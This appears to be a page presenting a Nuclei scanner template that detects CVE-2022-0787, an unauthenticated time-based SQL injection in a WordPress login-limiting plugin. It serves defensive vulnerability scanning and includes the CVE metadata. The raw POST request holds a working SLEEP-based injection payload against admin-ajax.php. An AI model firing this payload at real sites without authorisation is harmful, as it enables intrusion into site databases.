Limit Login Attempts (Spam Protection) < 5.1 - SQL Injection

ID: CVE-2022-0787

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2022,wpscan,sqli,wordpress,wp-plugin,wp,wp-limit-failed-login-attempts,limit_login_attempts_project

Description

The Limit Login Attempts (Spam Protection) WordPress plugin before 5.1 does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections.

YAML Source

id: CVE-2022-0787

info:
  name: Limit Login Attempts (Spam Protection) < 5.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Limit Login Attempts (Spam Protection) WordPress plugin before 5.1 does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections.
  remediation: Fixed in version 5.1
  reference:
    - https://wpscan.com/vulnerability/69329a8a-2cbe-4f99-a367-b152bd85b3dd
    - https://wordpress.org/plugins/wp-limit-failed-login-attempts/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0787
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0787
    cwe-id: CWE-89
    epss-score: 0.04032
    epss-percentile: 0.92073
    cpe: cpe:2.3:a:limit_login_attempts_project:limit_login_attempts:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: limit_login_attempts_project
    product: limit_login_attempts
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wpscan,sqli,wordpress,wp-plugin,wp,wp-limit-failed-login-attempts,limit_login_attempts_project

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=WPLFLA_get_log_data&order[][column]=0&columns[][data]=(SELECT+7382+FROM+(SELECT(SLEEP(6)))ameU)

    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "text/html")
          - contains(body, 'iTotalDisplayRecords')
        condition: and
# digest: 4a0a00473045022100952f204b827bb0cb0329dee61ea41c9fe2cf3208a92159b24c5f018ed27ac0da022046b1a345fe9389d43aedab75315c5b588277a72de48ab5b3f1251d733f933da5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0787.yaml"

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